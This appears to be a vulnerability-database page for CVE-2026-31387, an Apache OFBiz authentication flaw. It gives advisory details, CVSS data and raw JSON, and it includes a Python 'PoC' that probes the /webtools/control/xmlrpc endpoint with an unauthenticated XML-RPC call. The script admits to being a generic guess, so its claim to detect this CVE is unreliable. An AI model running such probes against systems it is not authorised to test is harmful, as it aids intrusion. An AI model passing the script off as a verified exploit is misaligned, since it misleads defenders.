Security Vulnerability Report
中文
CVE-2026-31387 CVSS 5.3 MEDIUM

CVE-2026-31387

Published: 2026-05-19 10:16:24
Last Modified: 2026-05-19 19:16:48

Description

Improper Authentication vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 24.09.06. Users are recommended to upgrade to version 24.09.06, which fixes the issue.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:* - VULNERABLE
Apache OFBiz < 24.09.06

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-31387: Apache OFBiz Improper Authentication import requests def check_vulnerability(target_url): """ Checks if the target Apache OFBiz instance is vulnerable to CVE-2026-31387. Note: This is a generic example based on the Improper Authentication description. """ # Attempting to access a restricted endpoint that should require authentication # Common sensitive paths in OFBiz might include /webtools/control/* endpoint = "/webtools/control/xmlrpc" full_url = f"{target_url}{endpoint}" headers = { "Content-Type": "application/xml", "User-Agent": "CVE-2026-31387-Scanner" } # A generic XML-RPC payload that might trigger a response if auth is bypassed payload = """<?xml version="1.0"?> <methodCall> <methodName>getServerTime</methodName> <params> </params> </methodCall>""" try: response = requests.post(full_url, data=payload, headers=headers, timeout=10, verify=False) # If the server processes the request without returning a 401/403 or login page redirect, # it might be vulnerable. Analysis of response content is required for confirmation. if response.status_code == 200 and "login" not in response.text.lower(): print(f"[+] Potential Vulnerability Detected at {full_url}") print(f"[+] Status Code: {response.status_code}") return True else: print(f"[-] Target does not appear vulnerable. Status Code: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": target = "http://127.0.0.1:8080" # Replace with actual target check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-31387", "sourceIdentifier": "[email protected]", "published": "2026-05-19T10:16:23.500", "lastModified": "2026-05-19T19:16:47.667", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Authentication vulnerability in Apache OFBiz.\n\nThis issue affects Apache OFBiz: before 24.09.06.\n\nUsers are recommended to upgrade to version 24.09.06, which fixes the issue."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-287"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:apache:ofbiz:*:*:*:*:*:*:*:*", "versionEndExcluding": "24.09.06", "matchCriteriaId": "CEB63EC9-E307-4D7E-98E3-142E0225D178"}]}]}], "references": [{"url": "https://lists.apache.org/thread/3wgybgdvmbfvly24zm4sb4y53fc1pqcf", "source": "[email protected]", "tags": ["Mailing List", "Vendor Advisory"]}, {"url": "http://www.openwall.com/lists/oss-security/2026/05/19/20", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}